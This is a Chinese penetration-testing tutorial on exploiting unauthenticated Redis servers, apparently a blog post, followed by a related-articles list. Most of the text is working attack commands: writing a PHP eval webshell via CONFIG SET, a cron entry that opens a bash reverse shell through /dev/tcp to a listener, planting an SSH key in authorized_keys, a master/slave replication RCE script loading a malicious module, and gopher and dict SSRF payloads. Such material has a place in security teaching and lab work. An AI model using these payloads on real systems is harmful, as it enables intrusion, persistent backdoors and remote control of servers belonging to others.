【渗透测试】redis漏洞利用

redis安装及配置

wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf
redis-3.2.0.tar.gz cd redis-3.2.0 make cp
/root/redis-6.2.6/redis.conf /usr/local/redis/bin/ cd
/usr/local/redis/bin/ vi redis.conf
#修改内容如下:
#protected-mode 的值从 yes 修改成 no
#bind 127.0.0.1 改成bind 0.0.0.0 ./redis-server redis.conf

关闭防护模式
在这里插入图片描述
修改成 0.0.0.0 ,修改白名单为任意IP地址
在这里插入图片描述
redis在设有防护模式的场景下,无法输入有效命令
flushall为删除Redis数据库数据指令,在实战中切勿使用,牢底坐穿术!
在这里插入图片描述

攻击利用

redis基本命令

#连接redis
redis-cli -h 192.168.1.108

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.1.108:6379>info

将变量x的值设为test:
192.168.1.108:6379>set x “hello”

获取设置的某个变量的值:
192.168.1.108:6379>get x

查看所有键:
192.168.1.108:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename

写入WebShell

set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

在这里插入图片描述在这里插入图片描述

写入计划任务

先在自己的服务器上监听一个端口
nc -lvnp 7999

然后执行命令:
redis-cli -h 192.168.1.108
set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述在这里插入图片描述## 写入 SSH公钥

在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys,写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i  id_rsa ip

在这里插入图片描述
在这里插入图片描述

redis 4.x/5.x 主从复制导致的命令执行

redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞环境采用的是vulhub
redis主从复制命令执行漏洞脚本下载地址
脚本命令:

python redis-master.py -r target-ip -p 6379 -L local-host -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

利用gopher协议打redis

在实战中经常会遇到SSRF漏洞,可利用gopher协议,结合redis未授权,对服务器进行写入Webshell或者定时任务,这里仅简述用法,如何结合SSRF需考虑实际场景
脚本下载地址
在Gopherus-master/scripts文件夹中找到Redis.py
default 修改值为 “<?php eval($_GET['cmd']); ?>”
在这里插入图片描述利用脚本生成POC在这里插入图片描述使用curl写入Webshell

在这里插入图片描述测试漏洞攻击成功
在这里插入图片描述

利用dict协议打redis

dict探测端口开放情况
对于未开放的端口,均会回复:
Failed to connect to 192.168.121.152 port xxxx after 2047 ms: Couldn’t connect to server
在这里插入图片描述dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
对于空格,可以使用URFL编码"%20"或者":"替代
在这里插入图片描述

相关推荐

  1. 渗透测试漏洞之XSS漏洞

    2024-03-17 17:04:04       38 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-17 17:04:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-17 17:04:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-17 17:04:04       82 阅读
  4. Python语言-面向对象

    2024-03-17 17:04:04       91 阅读

热门阅读

  1. redisTemplate工具类

    2024-03-17 17:04:04       31 阅读
  2. docker容器化

    2024-03-17 17:04:04       33 阅读
  3. C++中在定义一个宏的时候要注意什么?

    2024-03-17 17:04:04       43 阅读
  4. 突破编程_C++_设计模式(访问者模式)

    2024-03-17 17:04:04       32 阅读
  5. uniapp 实现双击点赞出现特效

    2024-03-17 17:04:04       47 阅读
  6. MongoDB

    MongoDB

    2024-03-17 17:04:04      34 阅读
  7. 栈与队列|239.滑动窗口最大值 (单调队列)

    2024-03-17 17:04:04       33 阅读
  8. 基于AI的测试优化方法

    2024-03-17 17:04:04       45 阅读
  9. 【C++】通讯录管理系统

    2024-03-17 17:04:04       35 阅读
  10. 【Python】实现一个鼠标连点器

    2024-03-17 17:04:04       44 阅读